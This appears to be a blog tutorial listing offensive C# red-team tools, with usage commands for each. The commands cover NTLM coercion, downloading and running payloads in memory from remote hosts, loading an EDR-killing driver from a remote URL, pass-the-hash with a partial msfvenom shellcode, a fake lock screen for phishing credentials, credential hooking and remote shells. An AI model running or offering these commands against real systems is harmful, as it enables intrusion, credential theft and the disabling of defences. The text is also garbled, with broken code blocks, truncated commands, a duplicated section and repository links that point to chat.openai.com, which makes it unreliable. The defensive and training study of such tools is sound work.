- **CMPivot Query Execution**: Executes CMPivot queries via the AdminService API.

- **Leverages WMI and ConfigMgr Client Messaging SDK**: Communicates with SCCM management points using these technologies.

Usage

```
SharpSCCM.exe [command] [options]

```

- **Commands**: Include `exec`, `get`, `invoke`, `local`, `new`, and `remove`.
- **Help Pages**: Accessible by entering any SharpSCCM command followed by `h`, `-help`, `/h`, `/?`, or `?`.

Subcommands

- **exec**: Execute commands, binaries, or scripts on a client or request NTLM authentication.
- **get**: Fetch objects from SMS Providers via WMI, management points via HTTP(S), or domain controllers via LDAP.
- **invoke**: Execute actions on an SMS Provider.
- **local**: Interact with the local workstation/server.
- **new**: Create new objects by contacting an SMS Provider via WMI.
- **remove**: Delete objects by contacting an SMS Provider via WMI.

Example Commands

- **Execute calc.exe on a Device**:

```
.\\SharpSCCM.exe exec -d CAVE-JOHNSON-PC -p calc.exe

```

- **Coerce NetNTLMv2 Authentication from a User**:

```
.\\SharpSCCM.exe exec -u APERTURE\\cave.johnson -r 192.168.57.130

```

- **Execute PowerShell Command on a Device**:

```
.\\SharpSCCM.exe exec -d GLaDOS -p "powershell iwr <http://192.168.57.131>"

```

SharpSCCM operates from any Windows machine running the SCCM client software, making it a versatile tool for network administrators and security professionals. For more information and updates, visit the SharpSCCM GitHub repository.

SharpSystemTriggers

Description

SharpSystemTriggers is a collection of remote authentication triggers developed in C#. It utilizes the MIDL compiler to avoid dependencies on third-party libraries. This toolset is designed for security professionals and network administrators to trigger remote authentication in various Windows services and protocols.

Functionality

- **Midl2Bytes**: Converts MIDL compiler output to a C# byte array, facilitating the integration of RPC calls into C# projects.
- **SharpEfsTrigger**: Implements the MS-EFS (Encrypting File System) RPC protocol in C#. It can be used to trigger remote authentication via EFS.
- **SharpSpoolTrigger**: Implements the MS-RPRN (Print System Remote Protocol) RPC protocol in C#. Useful for triggering remote authentication via print spooler service.
- **SharpDcomTrigger**: Implements DCOM (Distributed Component Object Model) Potato triggers. It's used for triggering remote authentication via DCOM.

Example Commands

- **Convert MIDL Output to C# Byte Array**:

```
Midl2Bytes.exe ms-rprn_c.c

```

- **Trigger Remote Authentication via EFS**:

```
SharpEfsTrigger.exe <Target IP> <Listener IP> <API call>
SharpEfsTrigger.exe 192.168.1.10 192.168.1.250 EfsRpcEncryptFileSrv

```

- **Trigger Remote Authentication via Print Spooler Service**:

```
SharpSpoolTrigger.exe <Target IP> <Listener IP> <API call>
SharpSpoolTrigger.exe 192.168.1.10 192.168.1.250 RpcAddPrinterDriverEx

```

- **Trigger Remote Authentication via DCOM**:

```
SharpDcomTrigger.exe <Target IP> <Listener IP> <API call>
SharpDcomTrigger.exe 192.168.1.10 192.168.1.250 <DCOM Trigger Function>

```

SharpSystemTriggers provides a suite of tools for advanced network interactions and security testing, particularly useful in scenarios involving remote authentication and protocol exploitation.

SharpFruit

Description

SharpFruit is a C# port of the PowerShell script Find-Fruit.ps1. It is designed to help penetration testers identify potentially interesting targets on internal networks without the need for extensive nmap scanning. SharpFruit can be executed through various means, such as Cobalt Strike's Beacon "execute-assembly" module, making it a versatile tool in a pentester's arsenal.

Functionality

- Scans specified IP ranges (CIDR notation) for open ports.
- Can be used to identify services running on non-standard ports.
- Supports SSL connections for secure scanning.
- Allows custom user-agent strings for stealthier scans.

Example Commands

- **Basic Scan**:

```
  beacon> execute-assembly /root/SharpFruit/SharpFruit.exe --cidr 10.10.1.0/24 --port 8080

```

- **SSL Scan with Custom User-Agent**:

```
  beacon> execute-assembly /root/SharpFruit/SharpFruit.exe --cidr 10.10.1.0/24 --port 9443 --ssl+ --
useragent "GoogleBotIsInsideYourNetwork"
```

SharpMic

Description

SharpMic is a .NET sound recorder application. It's designed to record audio from the default input device and save it as a WAV file. This tool can be particularly useful in remote surveillance or information gathering scenarios.

Functionality

- Records audio from the default microphone.
- Saves recordings in WAV format.
- Allows specifying the duration of the recording.
- Planned features include exception handling, input source selection, and MP3 compression.

Example Commands

- **Record Audio for 20 Seconds**:

```
beacon> execute-assembly c:\\temp\\SharpMic.exe c:\\temp\\test001.wav 20

```

SharpClipHistory

Description

SharpClipHistory is a .NET 4.5 application written in C#. It enables users to read the contents of a target's clipboard history on Windows 10 (starting from Build 1809). This tool can be invaluable for gathering sensitive information that a user might have copied to their clipboard.

Functionality

- Reads clipboard history on Windows 10 systems.
- Can enable clipboard history on the target system via registry modification.
- Saves images from the clipboard to a specified file.
- Features a KeePass bypass functionality.

Example Commands

- **Check Clipboard History Availability**:

```
C:\\Users\\User\\Desktop>SharpClipHistory.exe --checkOnly

```

- **Enable Clipboard History and Retrieve Contents**:

```
C:\\Users\\User\\Desktop>SharpClipHistory.exe --enableHistory

```

- **Save Clipboard Images and Bypass KeePass**:

```
C:\\Users\\User\\Desktop>SharpClipHistory.exe --saveImages --keepassBypass
```

- **Execute via Beacon**:

```
beacon> execute-assembly /root/SharpClipHistory.exe

```

SharpCLMBypass

Description

```
SharpCLMBypass is a tool designed to bypass the Constrained Language Mode in PowerShell using RunSpace in C#.

### **Functionality**

- Bypasses PowerShell's Constrained Language Mode.
- Executes PowerShell commands in an unrestricted language mode.

### **Example Commands**

```
C:\\>SharpCLMBypass.exe "Get-Process"

```

[SharpCLMBypass on GitHub](https://github.com/davidlebr1/SharpRedteamTools/tree/main/SharpCLMBypass)

---
```

SharpLAPSPassword

Description

```
SharpLAPSPassword is a tool for searching and retrieving LAPS (Local Administrator Password Solution) passwords in a specified domain.
```

Functionality

```
- Searches for LAPS passwords in a domain.
- Supports specifying domain controller, username, and password for the search.
```

Example Commands

```
```
C:\\>SharpLAPSPassword.exe -d 192.168.1.10
C:\\>SharpLAPSPassword.exe -d 192.168.1.10 -u john -p doe

```

[SharpLAPSPassword on GitHub]
(https://github.com/davidlebr1/SharpRedteamTools/tree/main/SharpLAPSPassword)

---
```

SharpGmailC2

Description

```
SharpGmailC2 is a tool that uses Gmail as a command and control (C2) server. The implant exfiltrates data via SMTP and reads commands from the C2 server via the IMAP protocol.
```

Functionality

```
- Uses Gmail for data exfiltration and command reception.
- Operates via SMTP for sending data and IMAP for receiving commands.
```

Setup and Precautions

```
- Enable POP Download and IMAP Access in Gmail settings.
- Generate an App Password for the Gmail account.
- Update the implant code with the appropriate email addresses and App Password.
- Ensure commands sent via Gmail are marked as Unread.
```

Example Commands

```
```
// Example usage not provided in the source. Typically involves executing the compiled binary and configuring the Gmail settings.

```


[SharpGmailC2 on GitHub](https://github.com/reveng007/SharpGmailC2)
```

SharpUp

Description

```
SharpUp is a C# port of various PowerUp functionality, focusing on common vulnerability checks without weaponization functions.
```

Functionality

```
- Performs various vulnerability checks on Windows systems.
- Includes an audit mode to run checks regardless of process integrity or group membership.
```

Example Commands

```
SharpUp.exe audit
SharpUp.exe HijackablePaths
SharpUp.exe audit HijackablePaths

```

[SharpUp on GitHub](https://chat.openai.com/c/9e321686-67de-438f-8cf1-39b8d4ea4738#)

SharpCradle

Description

SharpCradle assists penetration testers or red teams in downloading and executing .NET binaries directly into memory.

Functionality

- Downloads and executes .NET binaries in memory.
- Supports downloading from web servers and file servers, with or without credentials.

Example Commands

```
SharpCradle.exe -w <https://IP/Evil.exe>
SharpCradle.exe -f \\\\IP\\share\\Evil.exe
SharpCradle.exe -f -c domain username password \\\\IP\\share\\Evil.exe
SharpCradle.exe -p <https://192.168.1.10/EvilProject.csproj>

```

[SharpCradle on GitHub](https://chat.openai.com/c/9e321686-67de-438f-8cf1-39b8d4ea4738#)

SharpLocker

Description

SharpLocker is a .NET application that simulates a Windows lock screen to phish for user credentials.

Functionality

- Displays a fake Windows lock screen.
- Outputs captured credentials to the console, suitable for Cobalt Strike's execute-assembly module.
- Designed to be run in memory to avoid disk interaction.

How to Use

```
- Compile SharpLocker from source.
- Execute using memory injection techniques like Cobalt Strike's execute-assembly.
- Wait for user credentials.
```

Credits

```
- NetNTLMv2PasswordChecker by opdsealey.

[SharpLocker on GitHub](https://chat.openai.com/c/9e321686-67de-438f-8cf1-39b8d4ea4738#)

---
```

SharpCOM

Description

```
SharpCOM is a C# port of Invoke-DCOM, designed for DCOM lateral movement.
```

Functionality

```
- Executes commands on remote systems using DCOM.
- Intended for use with Cobalt Strike's execute-assembly module.
```

Example Commands

```
```
execute-assembly /root/SharpCOM/SharpCOM.exe --Method ShellWindows --ComputerName host.example.local --
Command "calc.exe"

```

[SharpCOM on GitHub](https://chat.openai.com/c/9e321686-67de-438f-8cf1-39b8d4ea4738#)

---
```

SharpHound

Description

```
SharpHound is a .NET tool for collecting data for BloodHound analysis.
```

Functionality

```
- Collects various types of data for Active Directory environments.
- Supports multiple collection methods and options.
```

CLI Options

```
- Various options for specifying collection methods, domain details, output settings, LDAP credentials, and more.
```

Example Commands

````
```
dotnet SharpHound.dll -c All
dotnet SharpHound.dll -d example.com --searchforest

```

[SharpHound on GitHub](https://github.com/BloodHoundAD/SharpHound)
````

SharpClipHistory

Description

```
    SharpClipHistory is a specialized .NET 4.5 application written in C#. Its primary function is to access and read the clipboard history of a user on Windows 10, specifically for versions starting from Build 1809. This tool is particularly useful in cybersecurity contexts, especially in penetration testing and information gathering phases.
```

Functionality

```
    The key functionality of SharpClipHistory lies in its ability to:

    - Check and report on the availability and status of the Clipboard history feature on a target Windows 10 system.
    - Enable clipboard history and retrieve its contents, which can include text, URLs, and potentially sensitive information.
    - Save images found in the clipboard history to a file.
    - Implement a KeePass bypass, which involves stopping KeePass if running, modifying its configuration file, and ensuring that passwords are saved in the clipboard history next time KeePass is launched.
```

Build Steps

````
    To compile SharpClipHistory, follow these steps:

    1. Ensure you are on a Windows 10 host (Build 1809 or later) that supports the clipboard history featu
    2. Clone the project and build it in Visual Studio. If there are missing assemblies, add the following
        - **`C:\\Program Files (x86)\\Windows Kits\\10\\References\\10.0.17763.0\\Windows.Foundation.UniversalApiContract\\7.0.0.0\\Windows.Foundation.U
        - **`C:\\Program Files (x86)\\Windows Kits\\10\\References\\10.0.17763.0\\Windows.Foundation.FoundationContract\\3.0.0.0\\Windows.Foundation.Fou
    3. Install the UWPDesktop package to handle UWP dependencies.
    4. CommandLineParser and Costura.Fody are also required.

    A pre-built executable is also available for those who prefer not to compile the code themselves.
````

Usage

````
To use SharpClipHistory, execute the following commands:

- To display help options:

    ```sql
    C:\\Users\\User\\Desktop>SharpClipHistory.exe --help

    ```

- To check if the Clipboard history feature is available and enabled:

    ```css
    SharpClipHistory.exe --checkOnly

    ```

- To enable clipboard history and retrieve contents:

    ```css
    SharpClipHistory.exe --enableHistory

    ```

- To save images from clipboard history:

    ```css
    SharpClipHistory.exe --saveImages

    ```

- To implement KeePass bypass:

    ```css
    SharpClipHistory.exe --keepassBypass

    ```
````

Example

````
In a red teaming scenario, you might use SharpClipHistory as follows:

```less
beacon> execute-assembly /root/SharpClipHistory.exe
[*] Tasked beacon to run .NET program: SharpClipHistory.exe
[+] host called home, sent: 224299 bytes
[+] received output:

[+] Clipboard history feature is enabled!
[+] Clipboard history Contents:

4/25/2019 2:27:11 PM admin
4/25/2019 2:27:06 PM Sup3rS3cur3Passw0rd123!

```
````

SharpRDPLog

Description

SharpRDPLog is a tool designed for Windows servers, primarily used in post-infiltration scenarios to collect information related to Remote Desktop Protocol (RDP). It's an effective tool for cybersecurity professionals, especially in penetration testing and digital forensics. The tool focuses on exporting various RDP-related records, including local RDP port information, Microsoft Terminal Services Client (mstsc) cache, cmdkey cache, and login success and failure logs.

Functionality

SharpRDPLog offers a range of functionalities, each targeting different aspects of RDP information gathering:

1. **Viewing Local RDP TCP Port**:
    - Obtains the RDP TCP port by reading system registry information.
    - Registry Path: **`HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp`**
2. **Exporting Current User MSTSC Remote Login Server Record**:
    - Outputs IP address and port.
    - Retrieves mstsc cache records from the system registry.
    - Registry Path: **`HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\Default`**
3. **Exporting RDP Login Server Records of All Local Users**:
    - Outputs include IP address and login username.
    - Utilizes WMI API to get user names and SIDs, then reads login records from the registry.
    - Registry Paths:
        - Current User: **`HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers`**
        - All Users: **`HKEY_USERS\\{SID}\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers\\`**
4. **Exporting Server Login Events**:
    - Outputs include time, source IP address, domain name, and username.
    - Extracts events with IDs 4624 (login success) and 4625 (login failure) from the Windows event security log.
    - Reference: [SharpEventLog on GitHub](https://github.com/uknowsec/SharpEventLog)

Example Commands

````
To use SharpRDPLog, the following commands can be executed:

- To view the local RDP port:

    ```
    SharpRDPLog.exe -rdpport

    ```

- To view the current user's mstsc and cmdkey cache:

    ```
    SharpRDPLog.exe -rdp_History

    ```

- To view all users' cmdkey cache:

    ```
    SharpRDPLog.exe -cmdkey

    ```

- To export login success events (Event ID 4624):

    ```
    SharpRDPLog.exe -4624

    ```

- To export login failure events (Event ID 4625):

    ```
    SharpRDPLog.exe -4625

    ```

- To output all the above information:

    ```css
    SharpRDPLog.exe -all

    ```
````

SharpNamedPipePTH

Description

```
    SharpNamedPipePTH is a C# tool designed for user impersonation through Pass-the-Hash (PtH) authentication on a local Named Pipe. It's particularly useful in scenarios where you have the NTLM hash of a user account but cannot crack it or do not have access to a process owned by the user to execute shellcode or migrate into it. This tool is essential for offensive security professionals, especially in situations where local actions need to be performed as another user. The tool is based on the code from the project Sharp-SMBExec and is detailed in a blog post by the author.
```

Functionality

```
        SharpNamedPipePTH allows for:

        - Impersonation of users (including low privileged accounts) using their NTLM hash.
        - Execution of binaries or shellcode as the impersonated user.
        - Local actions under the context of another user, especially useful when network authentication
is not permitted for the impersonated user.

        It's important to note that the tool requires local administrator rights or SEImpersonate
privileges.
```

Example Commands

```
        SharpNamedPipePTH can be used in two main ways: executing a binary or executing shellcode. Here ar

        - **Executing a Binary**:

            ```bash
            SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\\window

            ```

            ```bash
            SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5

            ```

        - **Executing Shellcode**:

            ```jsx
            SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5
shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCL

            ```

            This command uses shellcode generated by msfvenom for process execution.
```

SharpTerminator

Description

```
        SharpTerminator is a C# port of the Terminator tool originally developed by ZeroMemoryEx. It
serves as a utility for terminating Anti-Virus (AV) and Endpoint Detection and Response (EDR) processes
on a compromised system. This tool is particularly useful in penetration testing and red team operations
where AV/EDR solutions may hinder or detect malicious activities.
```

Functionality

```
            SharpTerminator offers the capability to:

            - Download and load a driver from a remote URL to terminate AV/EDR processes.
            - Load a driver directly from the disk for the same purpose.
            - Operate either by downloading the driver to a temporary location (**`C:\\Windows\\Temp`**)
or by using a driver already present on the disk.

            The tool provides flexibility depending on the user's operational needs and constraints, such
as the availability of upload functions in their Command and Control (C2) infrastructure.
```

Example Commands

```
             - **Loading from Remote URL**:

                 ```lua
                 execute-assembly SharpTerminator.exe --url "<http://remoteurl.com:80/Terminator.sys>"
                 ```

                 This command downloads the driver from the specified URL and loads it to terminate
AV/EDR processes.

             - **Loading from Disk**:

                 ```lua
                 execute-assembly SharpTerminator.exe --disk "C:\\path\\to\\driver\\Terminator.sys"

                 ```

                 This command loads the driver directly from a specified path on the disk to perform the
termination of AV/EDR processes.
```

- **Download Driver from Remote URL and Terminate AV/EDR**:

```
              ```
              sharpterminator-url

              ```

              A shorthand command for downloading and executing the driver from a remote URL.
```

- **Load Driver from Disk and Terminate AV/EDR**:

```
              ```
              sharpterminatsor-disk

              ```

              A shorthand command for loading and executing the driver from the disk.
```

SharpHook

Description

```
SharpHook, inspired by the SharpRDPThief project, is a tool designed for credential harvesting by using API hooks. It primarily targets Windows processes to extract credentials like usernames, passwords, and domain names. SharpHook leverages the EasyHook project to inject dependencies into the target process and then captures credentials, which are transmitted via EasyHook's Inter-Process Communication (IPC) server.
```

Functionality

```
SharpHook is capable of hooking into various processes and APIs to extract credentials. Its functionality varies depending on the target process:

- **mstsc (Microsoft Terminal Services Client)**:
    - Hooks into **`CredUnPackAuthenticationBufferW`**.
    - Captures username, password, and remote IP address.
- **runas**:
    - Hooks into **`CreateProcessWithLogonW`**.
    - Retrieves username, password, and domain name.
- **powershell**:
    - Hooks into **`CreateProcessWithLogonW`**.
    - Captures output for commands when different credentials are entered.
- **cmd (Command Prompt)**:
    - Hooks into **`RtlInitUnicodeStringEx`**.
    - Aims to filter keywords like "PsExec", "password", etc. (Currently in progress).
- **MobaXterm**:
    - Hooks into **`CharUpperBuffA`**.
    - Intended to capture credentials for SSH and RDP logins (Currently facing issues with 32-bit processes).
- **explorer (UAC Prompt)**:
    - Hooks into **`CredUnPackAuthenticationBufferW`**.
    - Aims to capture username, password, and domain name from UAC prompts (Currently in progress).
```

Example Commands

```
While specific commands for using SharpHook are not provided in the description, the general usage involves:

1. **Setting up SharpHook**:

    - Compile and set up SharpHook with the necessary dependencies.
    - Ensure EasyHook's IPC server is running for communication.
2. **Targeting a Process**:

    - Identify and target a process such as **`mstsc`**, **`runas`**, **`powershell`**, etc.
    - Inject SharpHook into the process to begin credential harvesting.
3. **Retrieving Credentials**:

    - Monitor the IPC server for captured credentials.
    - Extract and utilize the credentials as needed.
```

SharpExec

Description

```
                    SharpExec is an offensive security tool written in C# that facilitates lateral
movement within a network. It's designed to assist penetration testers and red teamers in executing
commands and deploying payloads on remote systems. The tool includes several modules, each providing
different methods for executing commands or scripts on remote machines.
```

Functionality

```
                    SharpExec includes the following modules, each with its unique capabilities:

                    1. **WMIExec**:
                        - Provides a semi-interactive shell running as the user.
                        - Similar to Impacket's [wmiexec.py](http://wmiexec.py) tool.
                    2. **SMBExec**:
                        - Offers a semi-interactive shell running as NT Authority\System.
                        - Comparable to Impacket's [smbexec.py](http://smbexec.py) tool.
                    3. **PSExec-like Functionality**:
                        - Enables remote command execution or file execution as NT Authority\System.
                        - Allows file upload and execution with or without arguments.
                    4. **WMI**:
                        - Permits remote command execution or file execution as the user.
                        - Supports file upload and execution with or without arguments.

                    Future plans for SharpExec include adding lateral movement through DCOM and Pass-
the-Hash functionality.
```

Example Commands

- **PSExec Module**:

```
                        - Upload and execute a file as NT Authority\System:

                            ```css
                            SharpExec.exe -m=psexec -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain -f=C:\\users\\user1\\desktop\\noPowershell-noargs.exe -e=C:\\noPowershell-noargs.exe
                            ```

                        - Run a command as NT Authority\System:

                            ```css
                            SharpExec.exe -m=psexec -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain -e=C:\\Windows\\System32\\cmd.exe -c="My Args"

                            ```
```

- **WMI Module**:

```
                - Upload and execute a file as TargetUser:

                    ```css
                    SharpExec.exe -m=wmi -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain -f=C:\\users\\user1\\desktop\\noPowershell-noargs.exe -e=C:\\noPowershell-
noargs.exe

                    ```

                - Run a command as TargetUser:

                    ```css
                    SharpExec.exe -m=wmi -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain -e=C:\\Windows\\System32\\cmd.exe -c="My Args"

                    ```
```

- **WMIExec Module**:

```
                - Start a semi-interactive shell as TargetUser:

                    ```css
                    SharpExec.exe -m=wmiexec -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain

                    ```
```

- **SMBExec Module**:

```
                - Start a semi-interactive shell as NT Authority\System:

                    ```css
                    SharpExec.exe -m=smbexec -i=192.168.1.10 -u=TargetUser -p=P@ssword! -
d=TargetDomain

                    ```
```

Setup

```
                To set up SharpExec:

                1. Download the SharpExec tool and open the **`SharpExec.sln`** file in Visual
Studio.
                2. Ensure the project is compiled for the correct architecture (x64 or x86).
                3. Add necessary references, such as **`System.Management`**, in Visual Studio.
                4. Compile and deploy the binary as needed.
```

Resources

- https://github.com/N7WEra/SharpAllTheThings

Cover by Mary Fazzolari

Rating: ⭐⭐⭐⭐½

01 Dec 2023

tutorial

#blue #red

« Sharpening Techniques with Impacket(RTC0025)

Share

comments powered by Disqus

Explore

tutorial (31) news (1) recipe (3)